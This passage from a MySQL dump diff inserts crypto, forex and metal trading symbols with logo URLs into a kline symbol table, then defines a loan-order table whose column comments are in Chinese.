'huobi', 'agld', 'AGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adventure-gold.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1237, 'huobi', 'dydx', 'DYDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dydx.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1238, 'huobi', 'imx', 'IMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/immutablex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1239, 'huobi', 'ens', 'ENS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-name-service.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1240, 'huobi', 'people', 'PEOPLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constitutiondao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1241, 'huobi', 'alice', 'ALICE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/my-neighbor-alice.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1242, 'huobi', 'idex', 'IDEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1243, 'huobi', 'spell', 'SPELL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spell-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1244, 'huobi', 'lpt', 'LPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livepeer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1245, 'huobi', 'celo', 'CELO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celo-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1246, 'huobi', 'egld', 'EGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elrond-erd-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1247, 'huobi', 'cvx', 'CVX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/convex-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1248, 'huobi', 'lqty', 'LQTY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1249, 'huobi', 'ocean', 'OCEAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/765e20e91cad0d6a15c3f99ffdc4242e.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1250, 'huobi', 'astr', 'ASTR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astar.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1251, 'huobi', 'unfi', 'UNFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unifi-protocol-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1252, 'huobi', 'anc', 'ANC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anchor-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1253, 'huobi', 'c98', 'C98', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin98.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1254, 'huobi', 'dusk', 'DUSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dusk-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1255, 'huobi', 'jasmy', 'JASMY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jasmycoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1256, 'huobi', 'audio', 'AUDIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/audius.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1257, 'huobi', 'fet', 'FET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fetch-ai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1258, 'huobi', 'gmt', 'GMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/green-metaverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1259, 'huobi', 'ape', 'APE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apecoin-ape.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1260, 'huobi', 'tlm', 'TLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alien-worlds.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1261, 'huobi', 't', 'T', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threshold-network-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1262, 'huobi', 'joe', 'JOE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1263, 'huobi', 'stg', 'STG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stargate-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1264, 'huobi', 'dodo', 'DODO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dodo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1265, 'huobi', 'gal', 'GAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-galaxy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1266, 'huobi', 'op', 'OP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimism.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1267, 'huobi', 'ldo', 'LDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1268, 'huobi', 'phb', 'PHB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-pulse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1269, 'huobi', 'gmx', 'GMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldmaxcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1270, 'huobi', 'hft', 'HFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investment/hashflow-rect5l8WOfEj9YvnU.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1271, 'huobi', 'gala', 'GALA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1272, 'huobi', 'magic', 'MAGIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1273, 'huobi', 'ssv', 'SSV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ssv-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1274, 'huobi', 'rdnt', 'RDNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radiant-capital.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1275, 'huobi', 'agix', 'AGIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1276, 'huobi', 'blur', 'BLUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blur-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1277, 'huobi', 'cfx', 'CFX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conflux-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1278, 'huobi', 'tru', 'TRU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truefi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1279, 'huobi', 'arb', 'ARB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1280, 'huobi', 'sui', 'SUI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sui.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1281, 'huobi', 'sei', 'SEI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1282, 'huobi', 'fct2', 'FCT2', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1283, 'huobi', 'pendle', 'PENDLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pendle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1284, 'huobi', 'fxs', 'FXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frax-share.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1285, 'huobi', 'wld', 'WLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walk-dogs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1286, 'huobi', 'id', 'ID', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-id.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1287, 'mt5', 'USD', 'USD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1288, 'mt5', 'EURUSD', 'EURUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1289, 'mt5', 'GBPUSD', 'GBPUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1290, 'mt5', 'USDJPY', 'USDJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1291, 'mt5', 'AUDUSD', 'AUDUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1292, 'mt5', 'USDCHF', 'USDCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1293, 'mt5', 'USDCAD', 'USDCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1294, 'mt5', 'USDHKD', 'USDHKD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDHKD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1295, 'mt5', 'USDCNY', 'USDCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1296, 'mt5', 'USDCNH', 'USDCNH', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCNH.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1297, 'mt5', 'USDKRW', 'USDKRW', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDKRW.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1298, 'mt5', 'NZDCAD', 'NZDCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1299, 'mt5', 'EURNZD', 'EURNZD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURNZD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1300, 'mt5', 'AUDJPY', 'AUDJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1301, 'mt5', 'AUDNZD', 'AUDNZD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDNZD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1302, 'mt5', 'AUDCAD', 'AUDCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1303, 'mt5', 'CHFJPY', 'CHFJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CHFJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1304, 'mt5', 'AUDCHF', 'AUDCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1305, 'mt5', 'GBPCAD', 'GBPCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1306, 'mt5', 'EURGBP', 'EURGBP', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURGBP.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1307, 'mt5', 'CADCHF', 'CADCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CADCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1308, 'mt5', 'GBPJPY', 'GBPJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1309, 'mt5', 'EURJPY', 'EURJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1310, 'mt5', 'EURCHF', 'EURCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1311, 'mt5', 'NZDJPY', 'NZDJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1312, 'mt5', 'GBPCHF', 'GBPCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1313, 'mt5', 'NZDCHF', 'NZDCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1314, 'mt5', 'CADJPY', 'CADJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CADJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1315, 'mt5', 'GBPAUD', 'GBPAUD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPAUD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1316, 'mt5', 'EURAUD', 'EURAUD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURAUD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1317, 'mt5', 'GBPNZD', 'GBPNZD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPNZD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1318, 'mt5', 'EURCAD', 'EURCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1319, 'mt5', 'USDMXN', 'USDMXN', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDMXN.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1320, 'mt5', 'USDTRY', 'USDTRY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDTRY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1321, 'mt5', 'USDZAR', 'USDZAR', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDZAR.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1322, 'mt5', 'USDDKK', 'USDDKK', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDDKK.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1323, 'mt5', 'USDNOK', 'USDNOK', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDNOK.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1324, 'mt5', 'USDRUB', 'USDRUB', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDRUB.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1325, 'mt5', 'USDSEK', 'USDSEK', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDSEK.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1326, 'mt5', 'USDSGD', 'USDSGD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDSGD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1327, 'mt5', 'NZDUSD', 'NZDUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1328, 'mt5', 'AUDCNY', 'AUDCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1329, 'mt5', 'CNYHKD', 'CNYHKD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CNYHKD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1330, 'mt5', 'GBPCNY', 'GBPCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1331, 'mt5', 'EURCNY', 'EURCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1332, 'mt5', 'EURTRY', 'EURTRY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURTRY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1333, 'mt5', 'BTCUSD', 'BTCUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/BTCUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1334, 'mt5', 'CADCNY', 'CADCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CADCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1335, 'mt5', 'CNYJPY', 'CNYJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CNYJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1336, 'huobi', 'xfi', 'XFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xfinance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1337, 'metal', 'XAU', 'XAU', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAU.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1338, 'metal', 'XPD', 'XPD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XPD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1339, 'metal', 'XAG', 'XAG', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAG.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1340, 'metal', 'XAP', 'XAP', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAP.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_load_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_load_order`; +CREATE TABLE `t_load_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `pro_id` bigint(0) NULL DEFAULT NULL COMMENT '贷款商品表id', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '购买时间', + `amount` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款金额', + `rate` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款利率', + `interest` decimal(18, 2) NULL DEFAULT NULL COMMENT '利息', + `status` int(0) NULL DEFAULT NULL COMMENT '0=待审核 1=审核通过 2=审核拒绝 3=已结清 4=已逾期', + `final_repay_time` datetime(0) NULL DEFAULT NULL COMMENT '最后还款日', + `disburse_time` datetime(0) NULL DEFAULT NULL COMMENT '放款日期', + `return_time` datetime(0) NULL DEFAULT NULL COMMENT '还款日期', + `disburse_amount` decimal(18, 6) NULL DEFAULT NULL COMMENT '审批金额', + `admin_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台代理ids', + `card_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '手持身份证', + `card_back_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证正面', + `capital_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证反面', + `license_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `order_no` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `cycle_type` int(0) NULL DEFAULT NULL COMMENT '还款周期 多少天', + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户备注', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '贷款订单' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_load_product +-- ---------------------------- +DROP TABLE IF EXISTS `t_load_product`; +CREATE TABLE `t_load_product` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `amount_min` decimal(18, 6) 